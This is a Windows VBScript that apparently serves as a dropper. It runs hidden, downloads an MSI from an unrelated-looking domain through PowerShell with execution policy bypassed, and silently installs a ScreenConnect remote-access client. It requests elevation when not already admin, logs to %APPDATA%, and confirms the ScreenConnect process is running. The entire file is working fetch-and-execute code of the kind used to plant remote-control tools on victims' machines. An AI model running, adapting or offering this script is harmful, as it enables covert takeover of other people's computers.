Option Explicit

Dim shell, fso
Dim appData, installDir, logPath
Dim msiUrl, msiPath
Dim powershellCmd
Dim exitCode
Dim isAdmin
Dim osCaption
Dim installCmd
Dim installerResult
Dim downloadSuccess
Dim retry

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

' SETTINGS
msiUrl = "https://provirgoind.com/faqs/lrs.msi"

appData = shell.ExpandEnvironmentStrings("%APPDATA%")
installDir = appData & "\SCInstaller"
logPath = installDir & "\install_log.txt"
msiPath = installDir & "\ScreenConnectClient.msi"

' CREATE INSTALL DIRECTORY
If Not fso.FolderExists(installDir) Then
    fso.CreateFolder installDir
End If

' LOG FUNCTION
Sub WriteLog(msg)
    Dim logFile

    Set logFile = fso.OpenTextFile(logPath, 8, True)

    logFile.WriteLine "[" & Now & "] " & msg

    logFile.Close
End Sub

WriteLog "======================================"
WriteLog "Installer started"

' OS INFO
On Error Resume Next

osCaption = shell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")

If Err.Number <> 0 Then
    osCaption = "Unknown Windows Version"
    Err.Clear
End If

WriteLog "OS: " & osCaption

On Error GoTo 0

' ADMIN CHECK
Function CheckAdmin()
    Dim tempResult

    tempResult = shell.Run("cmd /c net session >nul 2>&1", 0, True)

    If tempResult = 0 Then
        CheckAdmin = True
    Else
        CheckAdmin = False
    End If
End Function

isAdmin = CheckAdmin()

If isAdmin Then
    WriteLog "Running with admin privileges"
Else
    WriteLog "Running without admin privileges"
End If

' DELETE OLD MSI
If fso.FileExists(msiPath) Then
    On Error Resume Next

    fso.DeleteFile msiPath, True

    If Err.Number = 0 Then
        WriteLog "Existing MSI deleted"
    Else
        WriteLog "Failed deleting old MSI: " & Err.Description
        Err.Clear
    End If

    On Error GoTo 0
End If

' POWERSHELL DOWNLOAD CMD
powershellCmd = _
"powershell -NoProfile -ExecutionPolicy Bypass -Command " & _
"""" & _
"try { " & _
"[Net.ServicePointManager]::SecurityProtocol = " & _
"[Net.SecurityProtocolType]::Tls -bor " & _
"[Net.SecurityProtocolType]::Tls11 -bor " & _
"[Net.SecurityProtocolType]::Tls12; " & _
"Invoke-WebRequest -UseBasicParsing -Uri '" & msiUrl & "' -OutFile '" & msiPath & "'; " & _
"exit 0 " & _
"} catch { " & _
"exit 1 " & _
"}" & _
""""

' DOWNLOAD WITH RETRIES
downloadSuccess = False

For retry = 1 To 3

    WriteLog "Download attempt #" & retry

    exitCode = shell.Run(powershellCmd, 0, True)

    WriteLog "PowerShell exit code: " & exitCode

    If exitCode = 0 Then

        If fso.FileExists(msiPath) Then

            Dim fileObj
            Set fileObj = fso.GetFile(msiPath)

            WriteLog "Downloaded MSI size: " & fileObj.Size & " bytes"

            If fileObj.Size > 102400 Then
                downloadSuccess = True
                WriteLog "MSI verification passed"
                Exit For
            Else
                WriteLog "MSI too small/corrupt, deleting"
                fso.DeleteFile msiPath, True
            End If

        Else
            WriteLog "MSI file missing after download"
        End If

    Else
        WriteLog "Download failed"
    End If

    WScript.Sleep 3000

Next

If Not downloadSuccess Then
    WriteLog "All download attempts failed"

    MsgBox "Download failed. Check log file:" & vbCrLf & logPath, vbCritical

    WScript.Quit
End If

' INSTALL COMMAND
installCmd = _
"msiexec.exe /i """ & msiPath & _
""" /qn /norestart /L*v """ & _
installDir & "\msi_install.log"""

WriteLog "Install command prepared"

' INSTALL MSI
If isAdmin Then

    WriteLog "Starting MSI install directly"

    installerResult = shell.Run(installCmd, 0, True)

Else

    WriteLog "Attempting elevated MSI install"

    Dim appShell

    Set appShell = CreateObject("Shell.Application")

    appShell.ShellExecute _
        "msiexec.exe", _
        "/i """ & msiPath & """ /qn /norestart /L*v """ & installDir & "\msi_install.log""", _
        "", _
        "runas", _
        0

    WriteLog "Waiting for MSI execution"

    WScript.Sleep 15000

    installerResult = 0

End If

WriteLog "Installer exit code: " & installerResult

' VERIFY INSTALL
Dim installCheck

installCheck = shell.Run("cmd /c tasklist | find /i ""ScreenConnect"" >nul", 0, True)

If installCheck = 0 Then
    WriteLog "ScreenConnect process detected"
Else
    WriteLog "ScreenConnect process not detected"
End If

WriteLog "Installer finished"
WriteLog "======================================"